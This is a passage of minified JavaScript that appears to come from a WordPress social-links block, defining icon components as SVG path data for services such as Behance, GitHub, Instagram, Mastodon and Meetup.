3 17.289 8.73 6.711 21 6.711 15.27 17.289"}))},{name:"behance",attributes:{service:"behance"},title:"Behance",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"}))},{name:"chain",attributes:{service:"chain"},title:"Link",icon:cf},{name:"codepen",attributes:{service:"codepen"},title:"CodePen",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"}))},{name:"deviantart",attributes:{service:"deviantart"},title:"DeviantArt",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"}))},{name:"dribbble",attributes:{service:"dribbble"},title:"Dribbble",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"}))},{name:"dropbox",attributes:{service:"dropbox"},title:"Dropbox",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"}))},{name:"etsy",attributes:{service:"etsy"},title:"Etsy",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"}))},{name:"facebook",attributes:{service:"facebook"},title:"Facebook",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"}))},{name:"feed",attributes:{service:"feed"},title:"RSS Feed",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"}))},{name:"flickr",attributes:{service:"flickr"},title:"Flickr",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"}))},{name:"foursquare",attributes:{service:"foursquare"},title:"Foursquare",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"}))},{name:"goodreads",attributes:{service:"goodreads"},title:"Goodreads",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"}))},{name:"google",attributes:{service:"google"},title:"Google",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"}))},{name:"github",attributes:{service:"github"},title:"GitHub",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"}))},{name:"instagram",attributes:{service:"instagram"},title:"Instagram",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"}))},{name:"lastfm",attributes:{service:"lastfm"},title:"Last.fm",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M 12.0002 1.5 C 6.2006 1.5 1.5 6.2011 1.5 11.9998 C 1.5 17.799 6.2006 22.5 12.0002 22.5 C 17.799 22.5 22.5 17.799 22.5 11.9998 C 22.5 6.2011 17.799 1.5 12.0002 1.5 Z M 16.1974 16.2204 C 14.8164 16.2152 13.9346 15.587 13.3345 14.1859 L 13.1816 13.8451 L 11.8541 10.8101 C 11.4271 9.7688 10.3526 9.0712 9.1801 9.0712 C 7.5695 9.0712 6.2593 10.3851 6.2593 12.001 C 6.2593 13.6165 7.5695 14.9303 9.1801 14.9303 C 10.272 14.9303 11.2651 14.3275 11.772 13.3567 C 11.7893 13.3235 11.8239 13.302 11.863 13.3038 C 11.9007 13.3054 11.9353 13.3288 11.9504 13.3632 L 12.4865 14.6046 C 12.5016 14.639 12.4956 14.6778 12.4723 14.7069 C 11.6605 15.6995 10.4602 16.2683 9.1801 16.2683 C 6.8331 16.2683 4.9234 14.3536 4.9234 12.001 C 4.9234 9.6468 6.833 7.732 9.1801 7.732 C 10.9572 7.732 12.3909 8.6907 13.1138 10.3636 C 13.1206 10.3802 13.8412 12.0708 14.4744 13.5191 C 14.8486 14.374 15.1462 14.896 16.1288 14.9292 C 17.0663 14.9613 17.7538 14.4122 17.7538 13.6485 C 17.7538 12.9691 17.3321 12.8004 16.3803 12.4822 C 14.7365 11.9398 13.845 11.3861 13.845 10.0182 C 13.845 8.6809 14.7667 7.8162 16.192 7.8162 C 17.1288 7.8162 17.8155 8.2287 18.2921 9.0768 C 18.305 9.1006 18.3079 9.1281 18.3004 9.1542 C 18.2929 9.1803 18.2748 9.2021 18.2507 9.2138 L 17.3614 9.669 C 17.3178 9.692 17.2643 9.6781 17.2356 9.6385 C 16.9329 9.2135 16.5956 9.0251 16.1423 9.0251 C 15.5512 9.0251 15.122 9.429 15.122 9.9865 C 15.122 10.6738 15.6529 10.8414 16.5339 11.1192 C 16.6491 11.1558 16.7696 11.194 16.8939 11.2343 C 18.2763 11.6865 19.0768 12.2311 19.0768 13.6836 C 19.0769 15.1297 17.8389 16.2204 16.1974 16.2204 Z"}))},{name:"linkedin",attributes:{service:"linkedin"},title:"LinkedIn",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"}))},{name:"mail",attributes:{service:"mail"},title:"Mail",keywords:["email","e-mail"],icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M20,4H4C2.895,4,2,4.895,2,6v12c0,1.105,0.895,2,2,2h16c1.105,0,2-0.895,2-2V6C22,4.895,21.105,4,20,4z M20,8.236l-8,4.882 L4,8.236V6h16V8.236z"}))},{name:"mastodon",attributes:{service:"mastodon"},title:"Mastodon",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"}))},{name:"meetup",attributes:{service:"meetup"},title:"Meetup",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.6865